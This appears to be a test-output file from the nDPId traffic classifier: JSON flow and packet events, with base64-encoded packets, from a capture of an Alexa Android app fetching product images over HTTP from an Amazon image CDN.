+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2277,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1490976139643,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51995,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":130,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2277,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":643559,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8ziFAAEAGIiasECrYNFQ\/OMsbAFAzpLr6AAAAAKAC\/\/\/NrgAAAgQFtAQCCAoA9nTbAAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2278,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1490976139643,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":131,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2278,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":643759,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8c6xAAEAGfJusECrYNFQ\/OMscAFApFQd3AAAAAKAC\/\/+LwAAAAgQFtAQCCAoA9nTbAAAAAAEDAwg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2279,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1490976139643,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51997,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":132,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2279,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":643974,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8MrZAAEAGvZGsECrYNFQ\/OMsdAFCU10ZqAAAAAKAC\/\/\/hCAAAAgQFtAQCCAoA9nTcAAAAAAEDAwg="} +00444{"flow_id":127,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2280,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":667722,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxh7572AMrTWW6AScSAgygAAAgQFtAQCCAps+nrkAPZ02gEDAwg="} +00434{"flow_id":127,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2281,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":669064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0ooFAAEAGTc6sECrYNFQ\/OMsYAFAytNZbe+e9gYAQAVe\/XAAAAQEICgD2dN5s+nrk"} +01168{"flow_id":127,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2282,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":669495,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJXooJAAEAGS6qsECrYNFQ\/OMsYAFAytNZbe+e9gYAYAVf0FAAAAQEICgD2dN5s+nrkR0VUIC9pbWFnZXMvSS83MW5xd213bVJsTC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2282,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":127,"flow_packet_id":4,"flow_first_seen":1490976139642,"flow_last_seen":1490976139669,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51992,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/71nqwmwmRlL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +00445{"flow_id":129,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2283,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":674717,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxrjsd\/DnToeVaAScSDohQAAAgQFtAQCCAps+naYAPZ02wEDAwg="} +00446{"flow_id":130,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2284,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":674846,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxtRO\/n\/M6S6+6AScSAtRgAAAgQFtAQCCAps+ncBAPZ02wEDAwg="} +00444{"flow_id":128,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2285,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":674889,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxlSuJ7038mtw6AScSDlMAAAAgQFtAQCCAps+nm5APZ02wEDAwg="} +00445{"flow_id":131,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2286,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":674922,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxx\/FDN0KRUHeKAScSCFPAAAAgQFtAQCCAps+nXPAPZ02wEDAwg="} +00433{"flow_id":129,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2287,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":677434,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0apBAAEAGhb+sECrYNFQ\/OMsaAFCdOh5V47HfxIAQAVeHGAAAAQEICgD2dN9s+naY"} +00433{"flow_id":130,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2288,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":677700,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0ziJAAEAGIi2sECrYNFQ\/OMsbAFAzpLr7UTv6AIAQAVfL2AAAAQEICgD2dN9s+ncB"} +00433{"flow_id":128,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2289,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":677885,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA02RpAAEAGFzWsECrYNFQ\/OMsZAFDfya3DUrie9YAQAVeDwwAAAQEICgD2dN9s+nm5"} +00433{"flow_id":131,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2290,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":678026,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0c61AAEAGfKKsECrYNFQ\/OMscAFApFQd4fxQzdYAQAVcjzwAAAQEICgD2dN9s+nXP"} +01168{"flow_id":129,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2291,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":678156,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJXapFAAEAGg5usECrYNFQ\/OMsaAFCdOh5V47HfxIAYAVdhGwAAAQEICgD2dN9s+naYR0VUIC9pbWFnZXMvSS8zMTV5OUlFWFpTTC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2291,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":129,"flow_packet_id":4,"flow_first_seen":1490976139643,"flow_last_seen":1490976139678,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51994,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/315y9IEXZSL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +01168{"flow_id":130,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2292,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":678278,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJXziNAAEAGIAmsECrYNFQ\/OMsbAFAzpLr7UTv6AIAYAVdUxgAAAQEICgD2dN9s+ncBR0VUIC9pbWFnZXMvSS81MTAwanhxclFoTC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2292,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":130,"flow_packet_id":4,"flow_first_seen":1490976139643,"flow_last_seen":1490976139678,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51995,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/5100jxqrQhL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +01168{"flow_id":128,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2293,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":678411,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJX2RtAAEAGFRGsECrYNFQ\/OMsZAFDfya3DUrie9YAYAVcODgAAAQEICgD2dN9s+nm5R0VUIC9pbWFnZXMvSS82MVNaVS1sUEZOTC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2293,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":128,"flow_packet_id":4,"flow_first_seen":1490976139643,"flow_last_seen":1490976139678,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51993,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/61SZU-lPFNL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +01168{"flow_id":131,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2294,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":678550,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJXc65AAEAGen6sECrYNFQ\/OMscAFApFQd4fxQzdYAYAVfD8AAAAQEICgD2dN9s+nXPR0VUIC9pbWFnZXMvSS84MU5pNUNPdXAtTC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2294,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":131,"flow_packet_id":4,"flow_first_seen":1490976139643,"flow_last_seen":1490976139678,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51996,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/81Ni5COup-L._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +00445{"flow_id":132,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2295,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":711656,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyx1XQZuRlNdGa6AScSCQFAAAAgQFtAQCCAps+n\/1APZ03AEDAwg="} +00434{"flow_id":132,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2296,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":713700,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0MrdAAEAGvZisECrYNFQ\/OMsdAFCU10ZrV0GbkoAQAVcupAAAAQEICgD2dONs+n\/1"} +01169{"flow_id":132,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2297,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":714237,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJXMrhAAEAGu3SsECrYNFQ\/OMsdAFCU10ZrV0GbkoAYAVeRsQAAAQEICgD2dONs+n\/1R0VUIC9pbWFnZXMvSS82MVRmcDdaVmNvTC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2297,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":132,"flow_packet_id":4,"flow_first_seen":1490976139643,"flow_last_seen":1490976139714,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51997,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/61Tfp7ZVcoL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +00432{"flow_id":127,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2298,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":777944,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0x2ZAAPIGdug0VD84rBAq2ABQyxh7572BMrTYfoAQAHa+FwAAAQEICmz6eucA9nTe"} 